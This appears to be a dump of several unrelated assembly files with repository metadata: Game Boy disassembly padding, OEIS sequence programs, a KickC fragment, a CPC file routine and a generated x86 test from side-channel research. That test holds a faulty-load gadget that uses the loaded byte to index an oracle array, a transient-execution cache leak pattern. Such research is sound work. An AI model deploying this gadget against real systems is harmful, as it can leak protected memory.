ld a, [hl+] ; $7dda: $2a
dec hl ; $7ddb: $2b
inc l ; $7ddc: $2c
dec l ; $7ddd: $2d
ld l, $20 ; $7dde: $2e $20
jr_006_7de0:
jr nz, jr_006_7e02 ; $7de0: $20 $20
jr_006_7de2:
jr nz, jr_006_7e04 ; $7de2: $20 $20
jr nz, jr_006_7e06 ; $7de4: $20 $20
pop af ; $7de6: $f1
pop af ; $7de7: $f1
pop af ; $7de8: $f1
pop af ; $7de9: $f1
pop af ; $7dea: $f1
jr nz, jr_006_7e0d ; $7deb: $20 $20
jr_006_7ded:
ld d, h ; $7ded: $54
ld c, c ; $7dee: $49
jr_006_7def:
ld c, l ; $7def: $4d
ld b, l ; $7df0: $45
jr_006_7df1:
jr nz, jr_006_7e13 ; $7df1: $20 $20
jr_006_7df3:
jr nz, jr_006_7e10 ; $7df3: $20 $1b
jr_006_7df5:
jr nz, jr_006_7e17 ; $7df5: $20 $20
jr_006_7df7:
jr nz, @+$22 ; $7df7: $20 $20
jr nz, jr_006_7e1b ; $7df9: $20 $20
jr nz, jr_006_7e1d ; $7dfb: $20 $20
jr nz, jr_006_7e1f ; $7dfd: $20 $20
pop af ; $7dff: $f1
pop af ; $7e00: $f1
pop af ; $7e01: $f1
jr_006_7e02:
ldh a, [rP1] ; $7e02: $f0 $00
jr_006_7e04:
nop ; $7e04: $00
nop ; $7e05: $00
jr_006_7e06:
nop ; $7e06: $00
nop ; $7e07: $00
nop ; $7e08: $00
nop ; $7e09: $00
nop ; $7e0a: $00
nop ; $7e0b: $00
nop ; $7e0c: $00
jr_006_7e0d:
nop ; $7e0d: $00
nop ; $7e0e: $00
nop ; $7e0f: $00
jr_006_7e10:
nop ; $7e10: $00
nop ; $7e11: $00
nop ; $7e12: $00
jr_006_7e13:
nop ; $7e13: $00
ld [bc], a ; $7e14: $02
nop ; $7e15: $00
nop ; $7e16: $00
jr_006_7e17:
ld bc, $0000 ; $7e17: $01 $00 $00
nop ; $7e1a: $00
jr_006_7e1b:
nop ; $7e1b: $00
nop ; $7e1c: $00
jr_006_7e1d:
nop ; $7e1d: $00
nop ; $7e1e: $00
jr_006_7e1f:
nop ; $7e1f: $00
nop ; $7e20: $00
nop ; $7e21: $00
nop ; $7e22: $00
nop ; $7e23: $00
Jump_006_7e24:
ld bc, $0000 ; $7e24: $01 $00 $00
nop ; $7e27: $00
nop ; $7e28: $00
nop ; $7e29: $00
nop ; $7e2a: $00
ld [bc], a ; $7e2b: $02
nop ; $7e2c: $00
nop ; $7e2d: $00
nop ; $7e2e: $00
nop ; $7e2f: $00
nop ; $7e30: $00
nop ; $7e31: $00
nop ; $7e32: $00
nop ; $7e33: $00
nop ; $7e34: $00
nop ; $7e35: $00
nop ; $7e36: $00
ld bc, $0000 ; $7e37: $01 $00 $00
nop ; $7e3a: $00
ld [bc], a ; $7e3b: $02
nop ; $7e3c: $00
nop ; $7e3d: $00
nop ; $7e3e: $00
nop ; $7e3f: $00
nop ; $7e40: $00
nop ; $7e41: $00
nop ; $7e42: $00
nop ; $7e43: $00
nop ; $7e44: $00
ld bc, $0200 ; $7e45: $01 $00 $02
nop ; $7e48: $00
nop ; $7e49: $00
nop ; $7e4a: $00
nop ; $7e4b: $00
nop ; $7e4c: $00
nop ; $7e4d: $00
nop ; $7e4e: $00
nop ; $7e4f: $00
nop ; $7e50: $00
nop ; $7e51: $00
nop ; $7e52: $00
nop ; $7e53: $00
ld [bc], a ; $7e54: $02
ld bc, $0000 ; $7e55: $01 $00 $00
nop ; $7e58: $00
nop ; $7e59: $00
nop ; $7e5a: $00
nop ; $7e5b: $00
nop ; $7e5c: $00
nop ; $7e5d: $00
nop ; $7e5e: $00
nop ; $7e5f: $00
nop ; $7e60: $00
nop ; $7e61: $00
nop ; $7e62: $00
nop ; $7e63: $00
nop ; $7e64: $00
nop ; $7e65: $00
nop ; $7e66: $00
nop ; $7e67: $00
nop ; $7e68: $00
nop ; $7e69: $00
nop ; $7e6a: $00
nop ; $7e6b: $00
nop ; $7e6c: $00
nop ; $7e6d: $00
nop ; $7e6e: $00
nop ; $7e6f: $00
nop ; $7e70: $00
nop ; $7e71: $00
nop ; $7e72: $00
nop ; $7e73: $00
nop ; $7e74: $00
ld bc, $0000 ; $7e75: $01 $00 $00
nop ; $7e78: $00
nop ; $7e79: $00
nop ; $7e7a: $00
ld [bc], a ; $7e7b: $02
nop ; $7e7c: $00
nop ; $7e7d: $00
nop ; $7e7e: $00
nop ; $7e7f: $00
nop ; $7e80: $00
nop ; $7e81: $00
nop ; $7e82: $00
nop ; $7e83: $00
nop ; $7e84: $00
ld [bc], a ; $7e85: $02
nop ; $7e86: $00
nop ; $7e87: $00
nop ; $7e88: $00
nop ; $7e89: $00
nop ; $7e8a: $00
ld bc, $0000 ; $7e8b: $01 $00 $00
nop ; $7e8e: $00
nop ; $7e8f: $00
nop ; $7e90: $00
nop ; $7e91: $00
nop ; $7e92: $00
nop ; $7e93: $00
nop ; $7e94: $00
nop ; $7e95: $00
nop ; $7e96: $00
nop ; $7e97: $00
nop ; $7e98: $00
nop ; $7e99: $00
nop ; $7e9a: $00
nop ; $7e9b: $00
nop ; $7e9c: $00
nop ; $7e9d: $00
nop ; $7e9e: $00
nop ; $7e9f: $00
nop ; $7ea0: $00
nop ; $7ea1: $00
nop ; $7ea2: $00
nop ; $7ea3: $00
ld bc, $0002 ; $7ea4: $01 $02 $00
nop ; $7ea7: $00
nop ; $7ea8: $00
nop ; $7ea9: $00
nop ; $7eaa: $00
nop ; $7eab: $00
nop ; $7eac: $00
nop ; $7ead: $00
nop ; $7eae: $00
nop ; $7eaf: $00
nop ; $7eb0: $00
nop ; $7eb1: $00
nop ; $7eb2: $00
nop ; $7eb3: $00
nop ; $7eb4: $00
ld [bc], a ; $7eb5: $02
nop ; $7eb6: $00
ld bc, $0000 ; $7eb7: $01 $00 $00
nop ; $7eba: $00
nop ; $7ebb: $00
nop ; $7ebc: $00
nop ; $7ebd: $00
nop ; $7ebe: $00
nop ; $7ebf: $00
nop ; $7ec0: $00
nop ; $7ec1: $00
nop ; $7ec2: $00
nop ; $7ec3: $00
nop ; $7ec4: $00
nop ; $7ec5: $00
nop ; $7ec6: $00
ld [bc], a ; $7ec7: $02
nop ; $7ec8: $00
nop ; $7ec9: $00
nop ; $7eca: $00
ld bc, $0000 ; $7ecb: $01 $00 $00
nop ; $7ece: $00
nop ; $7ecf: $00
nop ; $7ed0: $00
nop ; $7ed1: $00
nop ; $7ed2: $00
nop ; $7ed3: $00
ld [bc], a ; $7ed4: $02
nop ; $7ed5: $00
nop ; $7ed6: $00
nop ; $7ed7: $00
nop ; $7ed8: $00
nop ; $7ed9: $00
nop ; $7eda: $00
ld bc, $0000 ; $7edb: $01 $00 $00
nop ; $7ede: $00
nop ; $7edf: $00
nop ; $7ee0: $00
nop ; $7ee1: $00
nop ; $7ee2: $00
nop ; $7ee3: $00
ld bc, $0000 ; $7ee4: $01 $00 $00
ld [bc], a ; $7ee7: $02
nop ; $7ee8: $00
nop ; $7ee9: $00
nop ; $7eea: $00
nop ; $7eeb: $00
nop ; $7eec: $00
nop ; $7eed: $00
nop ; $7eee: $00
nop ; $7eef: $00
nop ; $7ef0: $00
nop ; $7ef1: $00
nop ; $7ef2: $00
nop ; $7ef3: $00
nop ; $7ef4: $00
nop ; $7ef5: $00
nop ; $7ef6: $00
nop ; $7ef7: $00
nop ; $7ef8: $00
nop ; $7ef9: $00
nop ; $7efa: $00
nop ; $7efb: $00
nop ; $7efc: $00
nop ; $7efd: $00
nop ; $7efe: $00
nop ; $7eff: $00
nop ; $7f00: $00
nop ; $7f01: $00
nop ; $7f02: $00
nop ; $7f03: $00
nop ; $7f04: $00
nop ; $7f05: $00
nop ; $7f06: $00
nop ; $7f07: $00
nop ; $7f08: $00
nop ; $7f09: $00
nop ; $7f0a: $00
nop ; $7f0b: $00
nop ; $7f0c: $00
nop ; $7f0d: $00
nop ; $7f0e: $00
nop ; $7f0f: $00
nop ; $7f10: $00
nop ; $7f11: $00
nop ; $7f12: $00
nop ; $7f13: $00
nop ; $7f14: $00
nop ; $7f15: $00
nop ; $7f16: $00
nop ; $7f17: $00
nop ; $7f18: $00
nop ; $7f19: $00
nop ; $7f1a: $00
nop ; $7f1b: $00
nop ; $7f1c: $00
nop ; $7f1d: $00
nop ; $7f1e: $00
nop ; $7f1f: $00
nop ; $7f20: $00
nop ; $7f21: $00
nop ; $7f22: $00
nop ; $7f23: $00
nop ; $7f24: $00
nop ; $7f25: $00
nop ; $7f26: $00
nop ; $7f27: $00
nop ; $7f28: $00
nop ; $7f29: $00
nop ; $7f2a: $00
nop ; $7f2b: $00
nop ; $7f2c: $00
nop ; $7f2d: $00
nop ; $7f2e: $00
nop ; $7f2f: $00
nop ; $7f30: $00
nop ; $7f31: $00
nop ; $7f32: $00
nop ; $7f33: $00
nop ; $7f34: $00
nop ; $7f35: $00
nop ; $7f36: $00
nop ; $7f37: $00
nop ; $7f38: $00
nop ; $7f39: $00
nop ; $7f3a: $00
nop ; $7f3b: $00
nop ; $7f3c: $00
nop ; $7f3d: $00
nop ; $7f3e: $00
nop ; $7f3f: $00
nop ; $7f40: $00
nop ; $7f41: $00
nop ; $7f42: $00
nop ; $7f43: $00
nop ; $7f44: $00
nop ; $7f45: $00
nop ; $7f46: $00
nop ; $7f47: $00
nop ; $7f48: $00
nop ; $7f49: $00
nop ; $7f4a: $00
nop ; $7f4b: $00
nop ; $7f4c: $00
nop ; $7f4d: $00
nop ; $7f4e: $00
nop ; $7f4f: $00
nop ; $7f50: $00
nop ; $7f51: $00
nop ; $7f52: $00
nop ; $7f53: $00
nop ; $7f54: $00
nop ; $7f55: $00
nop ; $7f56: $00
nop ; $7f57: $00
nop ; $7f58: $00
nop ; $7f59: $00
nop ; $7f5a: $00
nop ; $7f5b: $00
nop ; $7f5c: $00
nop ; $7f5d: $00
nop ; $7f5e: $00
nop ; $7f5f: $00
nop ; $7f60: $00
nop ; $7f61: $00
nop ; $7f62: $00
nop ; $7f63: $00
nop ; $7f64: $00
nop ; $7f65: $00
nop ; $7f66: $00
nop ; $7f67: $00
nop ; $7f68: $00
nop ; $7f69: $00
nop ; $7f6a: $00
nop ; $7f6b: $00
nop ; $7f6c: $00
nop ; $7f6d: $00
nop ; $7f6e: $00
nop ; $7f6f: $00
nop ; $7f70: $00
nop ; $7f71: $00
nop ; $7f72: $00
nop ; $7f73: $00
nop ; $7f74: $00
nop ; $7f75: $00
nop ; $7f76: $00
nop ; $7f77: $00
nop ; $7f78: $00
nop ; $7f79: $00
nop ; $7f7a: $00
nop ; $7f7b: $00
nop ; $7f7c: $00
nop ; $7f7d: $00
nop ; $7f7e: $00
nop ; $7f7f: $00
nop ; $7f80: $00
nop ; $7f81: $00
nop ; $7f82: $00
nop ; $7f83: $00
nop ; $7f84: $00
nop ; $7f85: $00
nop ; $7f86: $00
nop ; $7f87: $00
nop ; $7f88: $00
nop ; $7f89: $00
nop ; $7f8a: $00
nop ; $7f8b: $00
nop ; $7f8c: $00
nop ; $7f8d: $00
nop ; $7f8e: $00
nop ; $7f8f: $00
nop ; $7f90: $00
nop ; $7f91: $00
nop ; $7f92: $00
nop ; $7f93: $00
nop ; $7f94: $00
nop ; $7f95: $00
nop ; $7f96: $00
nop ; $7f97: $00
nop ; $7f98: $00
nop ; $7f99: $00
nop ; $7f9a: $00
nop ; $7f9b: $00
nop ; $7f9c: $00
nop ; $7f9d: $00
nop ; $7f9e: $00
nop ; $7f9f: $00
nop ; $7fa0: $00
nop ; $7fa1: $00
nop ; $7fa2: $00
nop ; $7fa3: $00
nop ; $7fa4: $00
nop ; $7fa5: $00
nop ; $7fa6: $00
nop ; $7fa7: $00
nop ; $7fa8: $00
nop ; $7fa9: $00
nop ; $7faa: $00
nop ; $7fab: $00
nop ; $7fac: $00
nop ; $7fad: $00
nop ; $7fae: $00
nop ; $7faf: $00
nop ; $7fb0: $00
nop ; $7fb1: $00
nop ; $7fb2: $00
nop ; $7fb3: $00
nop ; $7fb4: $00
nop ; $7fb5: $00
nop ; $7fb6: $00
nop ; $7fb7: $00
nop ; $7fb8: $00
nop ; $7fb9: $00
nop ; $7fba: $00
nop ; $7fbb: $00
nop ; $7fbc: $00
nop ; $7fbd: $00
nop ; $7fbe: $00
nop ; $7fbf: $00
nop ; $7fc0: $00
nop ; $7fc1: $00
nop ; $7fc2: $00
nop ; $7fc3: $00
nop ; $7fc4: $00
nop ; $7fc5: $00
nop ; $7fc6: $00
nop ; $7fc7: $00
nop ; $7fc8: $00
nop ; $7fc9: $00
nop ; $7fca: $00
nop ; $7fcb: $00
nop ; $7fcc: $00
nop ; $7fcd: $00
nop ; $7fce: $00
nop ; $7fcf: $00
nop ; $7fd0: $00
nop ; $7fd1: $00
nop ; $7fd2: $00
nop ; $7fd3: $00
nop ; $7fd4: $00
nop ; $7fd5: $00
nop ; $7fd6: $00
nop ; $7fd7: $00
nop ; $7fd8: $00
nop ; $7fd9: $00
nop ; $7fda: $00
nop ; $7fdb: $00
nop ; $7fdc: $00
nop ; $7fdd: $00
nop ; $7fde: $00
nop ; $7fdf: $00
nop ; $7fe0: $00
nop ; $7fe1: $00
nop ; $7fe2: $00
nop ; $7fe3: $00
nop ; $7fe4: $00
nop ; $7fe5: $00
nop ; $7fe6: $00
nop ; $7fe7: $00
nop ; $7fe8: $00
nop ; $7fe9: $00
nop ; $7fea: $00
nop ; $7feb: $00
nop ; $7fec: $00
nop ; $7fed: $00
nop ; $7fee: $00
nop ; $7fef: $00
nop ; $7ff0: $00
nop ; $7ff1: $00
nop ; $7ff2: $00
nop ; $7ff3: $00
nop ; $7ff4: $00
nop ; $7ff5: $00
nop ; $7ff6: $00
Call_006_7ff7:
nop ; $7ff7: $00
nop ; $7ff8: $00
nop ; $7ff9: $00
nop ; $7ffa: $00
nop ; $7ffb: $00
nop ; $7ffc: $00
nop ; $7ffd: $00
nop ; $7ffe: $00
nop ; $7fff: $00
| 55.613832
| 70
| 0.179138
|
41819ead5180fbfe5980f1666a37ce7b363fce79
| 2,509
|
asm
|
Assembly
|
programs/oeis/016/A016947.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | 1
|
2021-03-15T11:38:20.000Z
|
2021-03-15T11:38:20.000Z
|
programs/oeis/016/A016947.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/016/A016947.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
; A016947: a(n) = (6*n + 3)^3.
; 27,729,3375,9261,19683,35937,59319,91125,132651,185193,250047,328509,421875,531441,658503,804357,970299,1157625,1367631,1601613,1860867,2146689,2460375,2803221,3176523,3581577,4019679,4492125,5000211,5545233,6128487,6751269,7414875,8120601,8869743,9663597,10503459,11390625,12326391,13312053,14348907,15438249,16581375,17779581,19034163,20346417,21717639,23149125,24642171,26198073,27818127,29503629,31255875,33076161,34965783,36926037,38958219,41063625,43243551,45499293,47832147,50243409,52734375,55306341,57960603,60698457,63521199,66430125,69426531,72511713,75686967,78953589,82312875,85766121,89314623,92959677,96702579,100544625,104487111,108531333,112678587,116930169,121287375,125751501,130323843,135005697,139798359,144703125,149721291,154854153,160103007,165469149,170953875,176558481,182284263,188132517,194104539,200201625,206425071,212776173,219256227,225866529,232608375,239483061,246491883,253636137,260917119,268336125,275894451,283593393,291434247,299418309,307546875,315821241,324242703,332812557,341532099,350402625,359425431,368601813,377933067,387420489,397065375,406869021,416832723,426957777,437245479,447697125,458314011,469097433,480048687,491169069,502459875,513922401,525557943,537367797,549353259,561515625,573856191,586376253,599077107,611960049,625026375,638277381,651714363,665338617,679151439,693154125,707347971,721734273,736314327,751089429,766060875,781229961,796597983,812166237,827936019,843908625,860085351,876467493,893056347,909853209,926859375,944076141,961504803,979146657,997002999,1015075125,1033364331,1051871913,1070599167,1089547389,1108717875,1128111921,1147730823,1167575877,1187648379,1207949625,1228480911,1249243533,1270238787,1291467969,1312932375,1334633301,1356572043,1378749897,1401168159,1423828125,1446731091,1469878353,1493271207,1516910949,1540798875,1564936281,1589324463,1613964717,1638858339,1664006625,1689410871,1715072373,1740992427,1767172329,1793613375,1820316861,1847284083,1874516337,1902014919,1929781125,1957816251,1986121593,2014698447,2043548109,2072671875,2102071041,2131746903,2161700757,2191933899,2222447625,2253243231,2284322013,2315685267,2347334289,2379270375,2411494821,2444008923,2476813977,2509911279,2543302125,2576987811,2610969633,2645248887,2679826869,2714704875,2749884201,2785366143,2821151997,2857243059,2893640625,2930345991,2967360453,3004685307,3042321849,3080271375,3118535181,3157114563,3196010817,3235225239,3274759125,3314613771,3354790473
mov $1,$0
mul $1,6
add $1,3
pow $1,3
| 313.625
| 2,439
| 0.885213
|
b7b6c26d800eecc3fe7413ef64d606f9c0d3a584
| 69
|
asm
|
Assembly
|
src/main/fragment/mos6502-common/vdum1=vdum2_rol_16.asm
|
jbrandwood/kickc
|
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
|
[
"MIT"
] | 2
|
2022-03-01T02:21:14.000Z
|
2022-03-01T04:33:35.000Z
|
src/main/fragment/mos6502-common/vdum1=vdum2_rol_16.asm
|
jbrandwood/kickc
|
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
|
[
"MIT"
] | null | null | null |
src/main/fragment/mos6502-common/vdum1=vdum2_rol_16.asm
|
jbrandwood/kickc
|
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
|
[
"MIT"
] | null | null | null |
lda #0
sta {m1}
sta {m1}+1
lda {m2}
sta {m1}+2
lda {m2}+1
sta {m1}+3
| 8.625
| 10
| 0.550725
|
7a50f552c2acf0c371661e6fe0a399cf61ab2daa
| 1,321
|
asm
|
Assembly
|
programs/oeis/231/A231672.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/231/A231672.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/231/A231672.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
; A231672: a(n) = Sum_{i=0..n} digsum_6(i), where digsum_6(i) = A053827(i).
; 0,1,3,6,10,15,16,18,21,25,30,36,38,41,45,50,56,63,66,70,75,81,88,96,100,105,111,118,126,135,140,146,153,161,170,180,181,183,186,190,195,201,203,206,210,215,221,228,231,235,240,246,253,261,265,270,276,283,291,300,305,311,318,326,335,345,351,358,366,375,385,396,398,401,405,410,416,423,426,430,435,441,448,456,460,465,471,478,486,495,500,506,513,521,530,540,546,553,561,570,580,591,598,606,615,625,636,648,651,655,660,666,673,681,685,690,696,703,711,720,725,731,738,746,755,765,771,778,786,795,805,816,823,831,840,850,861,873,881,890,900,911,923,936,940,945,951,958,966,975,980,986,993,1001,1010,1020,1026,1033,1041,1050,1060,1071,1078,1086,1095,1105,1116,1128,1136,1145,1155,1166,1178,1191,1200,1210,1221,1233,1246,1260,1265,1271,1278,1286,1295,1305,1311,1318,1326,1335,1345,1356,1363,1371,1380,1390,1401,1413,1421,1430,1440,1451,1463,1476,1485,1495,1506,1518,1531,1545,1555,1566,1578,1591,1605,1620,1621,1623,1626,1630,1635,1641,1643,1646,1650,1655,1661,1668,1671,1675,1680,1686,1693,1701,1705,1710,1716,1723,1731,1740,1745,1751,1758,1766,1775,1785,1791,1798,1806,1815
mov $7,$0
mov $9,$0
lpb $9,1
mov $0,$7
sub $9,1
sub $0,$9
mov $4,$0
lpb $3,4
div $4,6
mov $2,$4
mul $2,5
sub $0,$2
lpe
add $8,$0
lpe
mov $1,$8
| 66.05
| 1,070
| 0.713096
|
01afd71b9460900a4d8e0b40b04f9a05205d7c53
| 751
|
asm
|
Assembly
|
oeis/081/A081295.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/081/A081295.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/081/A081295.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A081295: a(n) = (-1)^(n+1)* coefficient of x^n in Sum_{k>=1} x^k/(1+2*x^k).
; Submitted by Christian Krause
; 1,1,5,9,17,29,65,137,261,497,1025,2085,4097,8129,16405,32905,65537,130845,262145,524793,1048645,2096129,4194305,8390821,16777233,33550337,67109125,134225865,268435457,536855053,1073741825,2147516553,4294968325,8589869057,17179869265,34359871269,68719476737,137438691329,274877911045,549756338809,1099511627777,2199022215133,4398046511105,8796095118345,17592186061077,35184367894529,70368744177665,140737496778917,281474976710721,562949936644593,1125899906908165,2251799847235593,4503599627370497
add $0,1
mov $2,$0
lpb $0
div $1,-1
mul $1,2
mov $3,$2
dif $3,$0
sub $0,1
cmp $3,$2
cmp $3,0
add $1,$3
lpe
add $1,1
gcd $0,$1
| 39.526316
| 497
| 0.768309
|
856c06cb1af60759a38ec4ee25bd386b808128b4
| 4,710
|
asm
|
Assembly
|
Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0x48.log_21829_2185.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0x48.log_21829_2185.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0x48.log_21829_2185.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r13
push %r8
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WT_ht+0x5c74, %r13
nop
nop
nop
sub $24137, %rdx
mov $0x6162636465666768, %r10
movq %r10, %xmm6
vmovups %ymm6, (%r13)
nop
nop
nop
cmp $28634, %r8
lea addresses_normal_ht+0x7cd4, %rsi
lea addresses_WC_ht+0x5574, %rdi
nop
nop
nop
dec %r12
mov $51, %rcx
rep movsl
nop
sub %r13, %r13
lea addresses_D_ht+0x1b874, %r13
nop
nop
nop
nop
and $32837, %r12
and $0xffffffffffffffc0, %r13
vmovntdqa (%r13), %ymm4
vextracti128 $0, %ymm4, %xmm4
vpextrq $1, %xmm4, %r8
nop
nop
nop
dec %r13
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r8
pop %r13
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %rax
push %rbp
push %rbx
// Faulty Load
lea addresses_WC+0x1dc74, %r13
nop
sub $31783, %rax
mov (%r13), %bx
lea oracles, %r13
and $0xff, %rbx
shlq $12, %rbx
mov (%r13,%rbx,1), %rbx
pop %rbx
pop %rbp
pop %rax
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'AVXalign': True, 'congruent': 0, 'size': 2, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 11, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 9, 'size': 32, 'same': False, 'NT': True}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 50.106383
| 2,999
| 0.664331
|
e268842c1c932929f565c908ca3d50845e0942e2
| 358
|
asm
|
Assembly
|
libsrc/fcntl/cpc/cpc_closein.asm
|
RC2014Z80/z88dk
|
e5b9447b970e5fae26544b6d8aa5957c98ba0e6a
|
[
"ClArtistic"
] | 8
|
2017-01-18T12:02:17.000Z
|
2021-06-12T09:40:28.000Z
|
libsrc/fcntl/cpc/cpc_closein.asm
|
RC2014Z80/z88dk
|
e5b9447b970e5fae26544b6d8aa5957c98ba0e6a
|
[
"ClArtistic"
] | 1
|
2017-03-06T07:41:56.000Z
|
2017-03-06T07:41:56.000Z
|
libsrc/fcntl/cpc/cpc_closein.asm
|
RC2014Z80/z88dk
|
e5b9447b970e5fae26544b6d8aa5957c98ba0e6a
|
[
"ClArtistic"
] | 3
|
2017-03-07T03:19:40.000Z
|
2021-09-15T17:59:19.000Z
|
;
; CPC fcntl Library
;
; Donated by **_warp6_** <kbaccam@free.fr>
;
; $Id: cpc_closein.asm,v 1.6 2017-01-02 21:02:22 aralbrec Exp $
SECTION code_clib
PUBLIC cpc_closein
PUBLIC _cpc_closein
INCLUDE "cpcfirm.def"
.cpc_closein
._cpc_closein
call firmware
defw cas_in_close
ld hl,1
ret c
ld hl,-1
